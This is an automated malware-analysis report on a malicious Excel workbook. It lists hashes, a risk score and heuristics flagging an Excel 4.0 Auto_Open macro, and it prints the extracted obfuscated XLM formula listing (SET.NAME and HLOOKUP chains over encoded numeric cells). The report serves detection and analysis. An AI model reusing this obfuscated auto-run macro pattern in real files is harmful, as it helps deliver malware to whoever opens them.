Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f7f339c1780cebdc…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:44:41 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 47b8cbe3846123f5c9e179acb2e080ef SHA-1: 84c68df03ca353da74f2d8d888d1c95d4a0a0b67 SHA-256: f7f339c1780cebdc326ff45756bc59b4062cf87bc1b1e02e55c5a6cf43b53961
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6833 bytes
SHA-256: dc2703edcabcd74420d8bde348e692a09215b2a747e1ab979aa78848a7e75cf1
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  IUILXrltw
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B137 
' 0018     25 LABEL : Cell Value, String Constant - CNlnGCaMgq len=0 
' 0018     23 LABEL : Cell Value, String Constant - DZggRzCz len=0 
' 0018     23 LABEL : Cell Value, String Constant - EBlawJsp len=0 
' 0018     23 LABEL : Cell Value, String Constant - EGAjYDxu len=0 
' 0018     26 LABEL : Cell Value, String Constant - EoSPdRKUEaO len=0 
' 0018     25 LABEL : Cell Value, String Constant - EPdcBGiYVU len=0 
' 0018     25 LABEL : Cell Value, String Constant - gjUdfbPPTc len=0 
' 0018     22 LABEL : Cell Value, String Constant - HBgcgFW len=0 
' 0018     25 LABEL : Cell Value, String Constant - jBcTvddeOa len=0 
' 0018     21 LABEL : Cell Value, String Constant - KePVsN len=0 
' 0018     21 LABEL : Cell Value, String Constant - KGFrOZ len=0 
' 0018     26 LABEL : Cell Value, String Constant - qMiRdpbVLKG len=0 
' 0018     24 LABEL : Cell Value, String Constant - UAYcnFKEi len=0 
' 0018     21 LABEL : Cell Value, String Constant - UiVOJO len=0 
' 0018     22 LABEL : Cell Value, String Constant - UxSMEbB len=0 
' 0018     23 LABEL : Cell Value, String Constant - vIbTjFle len=0 
' 0018     20 LABEL : Cell Value, String Constant - WkpLu len=0 
' 0018     24 LABEL : Cell Value, String Constant - yoVfBcFiJ len=0 
' 0018     21 LABEL : Cell Value, String Constant - zagiBA len=0 
' 0018     23 LABEL : Cell Value, String Constant - zGjGRiQH len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  IUILXrltw,P47,"",-773.00000000000000000000
'  IUILXrltw,P48,"",-838.00000000000000000000
'  IUILXrltw,P49,"",-859.00000000000000000000
'  IUILXrltw,B50,"SET.NAME("qMiRdpbVLKG",0+VALUE("0"))",""
'  IUILXrltw,P50,"",-151.00000000000000000000
'  IUILXrltw,P51,"",-135.00000000000000000000
'  IUILXrltw,B52,"SET.NAME("EBlawJsp",qMiRdpbVLKG)",""
'  IUILXrltw,P52,"",432.00000000000000000000
'  IUILXrltw,B55,"SET.NAME("UiVOJO",qMiRdpbVLKG)",""
'  IUILXrltw,B57,"SET.NAME("yoVfBcFiJ",COUNTA(EPdcBGiYVU))",""
'  IUILXrltw,B60,"SET.NAME("KePVsN",COUNTA(jBcTvddeOa))",""
'  IUILXrltw,B63,[],""
'  IUILXrltw,B65,"SET.NAME("KGFrOZ","")",""
'  IUILXrltw,B67,"EBlawJsp",""
'  IUILXrltw,B70,"SET.NAME("vIbTjFle",HLOOKUP("*",EPdcBGiYVU,EBlawJsp,FALSE))",""
'  IUILXrltw,B74,"gjUdfbPPTc",""
'  IUILXrltw,B78,"SET.NAME("UxSMEbB",qMiRdpbVLKG)",""
'  IUILXrltw,B81,[],""
'  IUILXrltw,B83,"UxSMEbB",""
'  IUILXrltw,B87,"WkpLu",""
'  IUILXrltw,B90,"HBgcgFW",""
'  IUILXrltw,B94,"zagiBA",""
'  IUILXrltw,B98,"SET.NAME("EGAjYDxu",VALUE(HLOOKUP("*",jBcTvddeOa,zagiBA,FALSE)))",""
'  IUILXrltw,B103,"EoSPdRKUEaO",""
'  IUILXrltw,B108,"KGFrOZ",""
'  IUILXrltw,B112,"UiVOJO",""
'  IUILXrltw,B117,NEXT(),""
'  IUILXrltw,B121,"UAYcnFKEi",""
'  IUILXrltw,B124,[],""
'  IUILXrltw,B127,"zGjGRiQH",""
'  IUILXrltw,B130,NEXT(),""
'  IUILXrltw,B132,RETURN(),""
'  IUILXrltw,B164,"SET.NAME("CNlnGCaMgq",B50)",""
'  IUILXrltw,B167,"EPdcBGiYVU",""
'  IUILXrltw,B169,"SET.NAME("jBcTvddeOa",R63C12)",""
'  IUILXrltw,B173,"SET.NAME("zGjGRiQH",183)",""
'  IUILXrltw,B177,"SET.NAME("DZggRzCz",2)",""
'  IUILXrltw,B182,CNlnGCaMgq(),""
'  IUILXrltw,B183,HALT(),""

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